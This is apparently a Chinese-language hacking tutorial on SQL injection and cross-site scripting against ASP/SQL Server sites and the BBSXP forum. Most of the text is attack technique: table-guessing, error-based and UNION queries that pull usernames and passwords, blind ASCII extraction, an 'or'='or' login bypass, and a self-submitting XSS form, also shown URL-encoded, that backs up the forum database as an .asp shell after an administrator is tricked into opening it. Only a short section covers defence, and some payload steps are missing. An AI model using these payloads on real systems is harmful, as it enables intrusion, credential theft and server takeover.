SQL 注入与 XSS 漏洞

所谓 SQL 注入，就是通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的 SQL 命令，比如先前的很多影视网站泄露 VIP 会员密码大多就是通过 WEB 表单递交查询字符暴出的，这类表单特别容易受到 SQL 注入式攻击.

当应用程序使用输入内容来构造动态 sql 语句以访问数据库时，会发生 sql 注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生 sql 注入。sql 注入可能导致攻击者使用应用程序登陆在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库，这种问题会变得很严重。在某些表单中，用户输入的内容直接用来构造（或者影响）动态 sql 命令，或者作为存储过程的输入参数，这些表单特别容易受到 sql 注入的攻击。而许多网站程序在编写时，没有对用户输入的合法性进行判断或者程序中本身的变量处理不当，使应用程序存在安全隐患。这样，用户就可以提交一段数据库查询的代码，根据程序返回的结果，获得一些敏感的信息或者控制整个服务器，于是 sql 注入就发生了。

注入大致方法：

先猜表名

And (Select count(*) from 表名)<>0

猜列名

And (Select count(列名) from 表名)<>0

或者也可以这样

and exists (select * from 表名)

and exists (select 列名 from 表名)

返回正确的，那么写的表名或列名就是正确

这里要注意的是，exists 这个不能应用于猜内容上，例如 and exists (select len(user) from admin)>3 这样是不信的

现在很多人都是喜欢查询里面的内容，一旦 iis 没有关闭错误提示的，那么就可以利用报错方法轻松获得库里面的内容

获得数据库连接用户名：;and user>0

这个是小竹提出来的，我这里引用《SQL 注入天书》里面的一段话来讲解：

——

"重点在 and user>0，我们知道，user 是 SQLServer 的一个内置变量，它的值是当前连接的用户名，类型为 nvarchar。拿一个 nvarchar 的值跟 int 的数 0 比较，系统会先试图将 nvarchar 的值转成 int 型，当然，转的过程中肯定会出错，SQLServer

的出错提示是：将 nvarch"

－－－

看到这里大家明白了吧，报错的原理就是利用 SQLserver 内置的系统表进行转换查询，转换过程会出错，然后就会显示出在网页上，另外还有类似的 and 1=(select top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则

是暴数据库名。

一旦关闭了 IIS 报错，那么还可以用 union（联合查询）来查内容，主要语句就是

Order by 10

And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin

And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

上面的 order by 10 主要就是查字段数目，admin 就是表名，可以自己猜，user,passwd 是列名

反正就是返回正确即对，返回异常即错

另外还有十分常用的 ascll 码拆半法

先要知道指定列名，例如 user 里的内容的长度

and (select len(user) from admin)=2 就是查询长度为不为 2 位，返回错误的增加或减少数字，一般这个数字不会太大，太大的就要放弃了，猜也多余

后面的逻辑符号可以根据不同要求更改的，

>大于 <小于 ＝就是等于咯，更新语句的话，＝也可以表示传递符号 <>就是不等

知道了长度后就可以开始猜解了

And (Select top 1 asc(mid(user,n,1)) from admin)>100

n 就是猜解的表名的第几位，最后的长度数字就是刚才猜解出来的列名长度了，And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解 user 里内容的第一位的 ASCLL 字符是不是大于 100

正确的话，那么表示 USER 第一个字符的 ASCLL 码大于 100，那么就猜>120，返回错误就是介于 100－120 之间，然后再一步一步的缩少，最终得到正确字符 XXX，然后用 ASCLL 转换器吧这个转换成普通字符就可以了

然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去

加在 url 后面，列名表名还是先猜解，返回正确的代表帐号的 ascll 码大于 100，那么就再向前猜，指导报错，把猜出来的 ascll 码拿去 ascll 转换器转换就可以了，中文是负数，加上 asb 取绝对值

And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320

得到之后就记得在数字前加-号，不然 ASCLL 转换器转换不来的，中文在 ASCL L 码里是-23423 这样的，所以猜起来挺麻烦

这个猜解速度比较慢，但是效果最好，最具有广泛性

2.2.后台身份验证绕过漏洞

验证绕过漏洞就是'or'='or'后台绕过漏洞，利用的就是 AND 和 OR 的运算规则，从而造成后台脚本逻辑性错误

例如管理员的账号密码都是 admin，那么再比如后台的数据库查询语句是

user=request("user")

passwd=request("passwd")

sql='select admin from adminbate where user='&"'&user&"'&' and passwd ='&"'&passwd&"'

那么我使用'or 'a'='a 来做用户名密码的话，那么查询就变成了

select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'=' a'

这样的话，根据运算规则，这里一共有 4 个查询语句，那么查询结果就是 假 or 真 and 假 or 真，先算 and 再算 or，最终结果为真，这样就可以进到后台了

这种漏洞存在必须要有 2 个条件，第一个：在后台验证代码上，账号密码的查询是要同一条查询语句，也就是类似

sql="select * from admin where username='"&username&'&"passwd='"&pas swd&'

如果一旦账号密码是分开查询的，先查帐号，再查密码，这样的话就没有办法了。

第二就是要看密码加不加密，一旦被 MD5 加密或者其他加密方式加密的，那就要看第一种条件有没有可以，没有达到第一种条件的话，那就没有戏了

3 防御方法

对于怎么防御 SQL 注入呢，这个网上很多，我这里讲几个

如果自己编写防注代码，一般是先定义一个函数，再在里面写入要过滤的关键词，如 select ； “";form;等，这些关键词都是查询语句最常用的词语，一旦过滤了，那么用户自己构造提交的数据就不会完整地参与数据库的操作。

当然如果你的网站提交的数据全部都是数字的，可以使用小竹提供的方法

```
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1 表示以上参数是数字，0 表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型！"
```

```
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
```

然后就用 SafeRequest（）来过滤参数 ，检查参数是否为数字，不是数字的就不能通过

XSS 又叫 CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往 Web 页面里插入恶意 html 代码，当用户浏览该页之时，嵌入其中 Web 里面的 html 代码会被执行，从而达到恶意攻击用户的特殊目的。XSS 属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性。而本文主要讲的是利用 XSS 得到目标服务器的 shell。技术虽然是老技术，但是其思路希望对大家有帮助。

[编辑本段]

如何寻找 XSS 漏洞

就个人而言，我把 XSS 攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs 的 showerror.asp 存在的跨站漏洞。另一类则是来来自外部的攻击，主要指的自己构造 XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个有跨站漏洞的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。

然后利用下面的技术得到一个 shell.

[编辑本段]

如何利用

传统的跨站利用方式一般都是攻击者先构造一个跨站网页，然后在另一空间里放一个收集 cookie 的页面，接着结合其它技术让用户打开跨站页面以盗取用户的 cookie，以便进一步的攻击。个人认为这种方式太过于落后，对于弊端大家可能都知道，因为即便你收集到了 cookie 你也未必能进一步渗透进去，多数的 cookie 里面的密码都是经过加密的，如果想要 cookie 欺骗的话，同样也要受到其它的条件的限约。而本文提出的另一种思路，则从一定程度上解决上述的问题。对于个人而言，比较成熟的方法是通过跨站构造一个表单，表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。

[编辑本段]

来自内部的跨站攻击

寻找跨站漏洞

如果有代码的话比较好办，我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合，像测试 QQ 群跨站漏洞的时候，你在标题处输入〈script〉alert(‘test’)〈/script〉，代码是不会被执行的，因为在源代码里，有其它的标签未闭合，如少了一个〈/script〉，这个时候，你只要闭合一个〈/script〉，代码就会执行，如：你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉，这样就可以弹出一个 test 的框。

如何利用

我先以 BBSXP 为例，过程已做成动画，详情可见光盘中的动画。我举 BBSXP 中其中两个比较好用的跨站漏洞点为例.

a.先注册一个普通用户，我这里注册的用户是 linzi.然后我们在个人签名里写入:

c.然后发个贴子，可以结合其它技术欺骗管理员浏览发的贴子。

d.因为是测试，所以我们以管理员身份登陆，然后打开贴子，我们会发现，linzi 已经变成了社区区长工，如图一所示

除此之外我们只要在个人签名里输入

同样发个贴子等，只要管理员打开了，就会加了一个扩展名为 asp （有空格）的上传扩展，这个时候，你只要上传一个 newmm.asp (有空格)就可以得到一个 shell.

上面的攻击多多少少有点局限性，虽然可以得到 shell，但是隐蔽性不太好，因为签名

处受到了长度的限制，不能超过 255 个字符。我们可以结合 flash 跨站实现更为隐蔽的

攻击，对于 flash 木马的制作，下面见哥们丰初的介绍。

再利用如下:

修改一下个人头像的 url,输入代码如下:

再接着欺骗管理员打开你的资料或者浏览你的贴子，当管理员打开后，会在后台自动加个 php 扩展名的后辍，因为 bbsxp 在个人头像 url 里过滤了空格,%，所以我们只能加个不包括空格的其它扩展，当然你也可以加个 shtml 的扩展，有了它你就可以用来查看源代码，然后进一步攻击。

[编辑本段]

来自外部的跨站攻击

有的时候，当我们对于目标程序找不到可以利用的跨站点，这个时候我们可以利用可以从外部入手，利用我们要拿下的是它的论坛，论坛的安全性做的很好，但其留言板却存在跨站漏洞，这个时候我们可以在留言板里写入跨站语句，跨站语句为以表单的方式向论坛提交提升权限的语句，如上面的 bbsxp 加 asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个 shell。

例:先上传一个文件 linzi.txt，内容如下:

〈body onload="javascript:document.forms[0].submit()"〉〈form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉

上面的代码是把论坛的数据库备份为 shit.asp，留言板存在跨站点如下:

http://127.0.0.1/bbsxp/page2.asp?username=

我们构造备份跨站语句如下:

http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

或者构造跨站语句，利用 iframe 打开一个 0 大小的 linzi.txt。

当管理员打开后，会自动备份得到一个 shell.

[编辑本段]

XSS 与其它技术的结合

从上面的实例，我们可以知道，如何欺骗管理打开是一个很重要的步骤，对于欺骗打开，除了社会工程学外，我们可以结合其它的技术，如 sql injection.当我们渗透一个网站之时，主站 mssql 注入漏洞，权限为 public,这个时候我们利用 update 构造跨站语句，如用 iframe 打开一个上面的备份得到 shell 的跨站语句等，同样，我们可以在社会工程学时，利用 QQ 的其它跨站漏洞等等。

总是对于欺骗也是一门艺术，具体怎么利用，大家就发挥自己的想象力吧！

好一个欺骗也是一门艺术，不管是在生活中还是在网络中。生活中难免有些事情不能讲真话，这时采用适当的方法使得我们的假话当作真话讲，这就靠欺骗的艺术了。